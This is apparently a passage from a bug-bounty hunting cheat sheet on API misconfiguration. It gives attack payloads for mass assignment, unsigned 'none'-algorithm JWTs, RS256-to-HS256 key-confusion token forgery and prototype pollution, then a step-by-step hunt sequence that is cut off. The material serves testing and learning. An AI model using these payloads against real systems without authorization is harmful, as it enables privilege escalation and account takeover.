hunt-api-misconfig

## 12. API SECURITY MISCONFIGURATION ### Mass Assignment ```javascript User.update(req.body) // body has {"role": "admin"} → privilege escalation ``` ### JWT None Algorithm ```python header = {"alg": "none", "typ": "JWT"} payload = {"sub": 1, "role": "admin"} token = base64(header) + "." + base64(payload) + "." # no signature ``` ### JWT RS256 → HS256 Algorithm Confusion ```python # Get server's public key from /.well-known/jwks.json # Sign token with public key as HMAC secret token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256") # Server uses RS256 key as HS256 secret → accepts it ``` ### Prototype Pollution ```javascript // Server-side — Node.js merge without protection {"__proto__": {"admin": true}} {"constructor": {"prototype": {"admin": true}}} // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin ``` For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation. Hunt sequence: 1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed. 2. **Pollute harmless marker properties.** Send variants such as: ``` {"__proto...